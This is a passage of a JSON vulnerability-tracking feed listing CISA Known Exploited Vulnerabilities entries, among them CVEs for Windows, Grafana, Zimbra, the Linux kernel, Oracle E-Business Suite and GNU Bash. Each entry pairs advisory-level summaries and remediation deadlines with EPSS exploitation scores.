CVE-2016-7836","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-7836 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-7836&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-7836, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-24990","cveId":"CVE-2025-24990","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Untrusted Pointer Dereference Vulnerability","summary":"Microsoft Windows Agere Modem Driver contains an untrusted pointer dereference vulnerability that allows for privilege escalation. An attacker who successfully exploited this vulnerability could gain administrator privileges.","detail":"CISA added this entry on 2025-10-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-14","dueAt":"2025-11-04","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06369,"percentile":0.93606,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-24990&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-24990","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-24990 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-24990&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-24990, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-47827","cveId":"CVE-2025-47827","aliases":[],"kind":"vulnerability","title":"IGEL OS Use of a Key Past its Expiration Date Vulnerability","summary":"IGEL OS contains a use of a key past its expiration date vulnerability that allows for Secure Boot bypass. The igel-flash-driver module improperly verifies a cryptographic signature. Ultimately, a crafted root filesystem can be mounted from an unverified SquashFS image.","detail":"CISA added this entry on 2025-10-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-14","updatedAt":null,"regions":["Global"],"vendor":"IGEL","product":"IGEL OS","stacks":["IGEL","IGEL OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-14","dueAt":"2025-11-04","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04927,"percentile":0.9207,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-47827&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-47827","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-47827 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-47827&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-47827, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-59230","cveId":"CVE-2025-59230","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Improper Access Control Vulnerability","summary":"Microsoft Windows contains an improper access control vulnerability in Windows Remote Access Connection Manager which could allow an authorized attacker to elevate privileges locally.","detail":"CISA added this entry on 2025-10-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft Office","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-14","dueAt":"2025-11-04","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02657,"percentile":0.85566,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-59230&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-59230","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-59230 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-59230&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-59230, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-43798","cveId":"CVE-2021-43798","aliases":[],"kind":"vulnerability","title":"Grafana Path Traversal Vulnerability","summary":"Grafana contains a path traversal vulnerability that could allow access to local files.","detail":"CISA added this entry on 2025-10-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-09","updatedAt":null,"regions":["Global"],"vendor":"Grafana Labs","product":"Grafana","stacks":["Grafana","Grafana Labs"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-09","dueAt":"2025-10-30","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.88503,"percentile":0.9977,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-43798&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-43798","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-43798 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-43798&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-43798, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-27915","cveId":"CVE-2025-27915","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability","summary":"Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability that exists in the Classic Web Client due to insufficient sanitization of HTML content in ICS files. When a user views an e-mail message containing a malicious ICS entry, its embedded JavaScript executes via an ontoggle event inside a tag. This allows an attacker to run arbitrary JavaScript within the victim's session, potentially leading to unauthorized actions such as setting e-mail filters to redirect messages to an attacker-controlled address. As a result, an attacker can perform unauthorized actions on the victim's account, including e-mail redirection and data exfiltration.","detail":"CISA added this entry on 2025-10-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-07","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-07","dueAt":"2025-10-28","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04064,"percentile":0.90591,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-27915&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-27915","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-27915 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-27915&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-27915, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-3765","cveId":"CVE-2010-3765","aliases":[],"kind":"vulnerability","title":"Mozilla Multiple Products Remote Code Execution Vulnerability","summary":"Mozilla Firefox, SeaMonkey, and Thunderbird contain an unspecified vulnerability when JavaScript is enabled. This allows remote attackers to execute arbitrary code via vectors related to nsCSSFrameConstructor::ContentAppended, the appendChild method, incorrect index tracking, and the creation of multiple frames, which triggers memory corruption.","detail":"CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-06","updatedAt":null,"regions":["Global"],"vendor":"Mozilla","product":"Multiple Products","stacks":["Mozilla","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-06","dueAt":"2025-10-27","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.83156,"percentile":0.99673,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-3765&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-3765","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-3765 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-3765&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-3765, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-3962","cveId":"CVE-2010-3962","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Uninitialized Memory Corruption Vulnerability","summary":"Microsoft Internet Explorer contains an uninitialized memory corruption vulnerability that could allow for remote code execution. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-06","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-06","dueAt":"2025-10-27","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96831,"percentile":0.99886,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2010-3962&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2010-3962","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2010-3962 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2010-3962&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2010-3962, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2011-3402","cveId":"CVE-2011-3402","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Remote Code Execution Vulnerability","summary":"Microsoft Windows Kernel contains an unspecified vulnerability in the TrueType font parsing engine in win32k.sys in the kernel-mode drivers that allows remote attackers to execute arbitrary code via crafted font data in a Word document or web page.","detail":"CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-06","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-06","dueAt":"2025-10-27","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.78138,"percentile":0.99573,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2011-3402&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2011-3402","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2011-3402 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2011-3402&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2011-3402, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-3918","cveId":"CVE-2013-3918","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Out-of-Bounds Write Vulnerability","summary":"Microsoft Windows contains an out-of-bounds write vulnerability in the InformationCardSigninHelper Class ActiveX control, icardie.dll. An attacker could exploit the vulnerability by constructing a specially crafted webpage. When a user views the webpage, the vulnerability could allow remote code execution. An attacker who successfully exploited this vulnerability could gain the same user rights as the current user. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-06","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-06","dueAt":"2025-10-27","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.73693,"percentile":0.99469,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-3918&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-3918","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-3918 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-3918&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-3918, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22555","cveId":"CVE-2021-22555","aliases":[],"kind":"vulnerability","title":"Linux Kernel Heap Out-of-Bounds Write Vulnerability","summary":"Linux Kernel contains a heap out-of-bounds write vulnerability that could allow an attacker to gain privileges or cause a DoS (via heap memory corruption) through user name space.","detail":"CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-06","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-06","dueAt":"2025-10-27","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.78684,"percentile":0.99584,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22555&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22555","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22555 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22555&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22555, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-43226","cveId":"CVE-2021-43226","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Privilege Escalation Vulnerability","summary":"Microsoft Windows Common Log File System Driver contains a privilege escalation vulnerability that could allow a local, privileged attacker to bypass certain security mechanisms.","detail":"CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-06","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-06","dueAt":"2025-10-27","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03275,"percentile":0.88333,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-43226&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-43226","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-43226 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-43226&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-43226, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-61882","cveId":"CVE-2025-61882","aliases":[],"kind":"vulnerability","title":"Oracle E-Business Suite Unspecified Vulnerability","summary":"Oracle E-Business Suite contains an unspecified vulnerability in the BI Publisher Integration component. The vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Concurrent Processing. Successful attacks can result in takeover of Oracle Concurrent Processing.","detail":"CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-06","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"E-Business Suite","stacks":["Oracle","E-Business Suite"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-06","dueAt":"2025-10-27","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99728,"percentile":0.99952,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-61882&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-61882","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-61882 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-61882&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-61882, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-6278","cveId":"CVE-2014-6278","aliases":[],"kind":"vulnerability","title":"GNU Bash OS Command Injection Vulnerability","summary":"GNU Bash contains an OS command injection vulnerability which allows remote attackers to execute arbitrary commands via a crafted environment.","detail":"CISA added this entry on 2025-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-10-02","updatedAt":null,"regions":["Global"],"vendor":"GNU","product":"GNU Bash","stacks":["GNU","GNU Bash"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-10-02","dueAt":"2025-10-23","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99669,"percentile":0.99949,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-6278&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-6278","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-10-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-6278 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-6278&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and 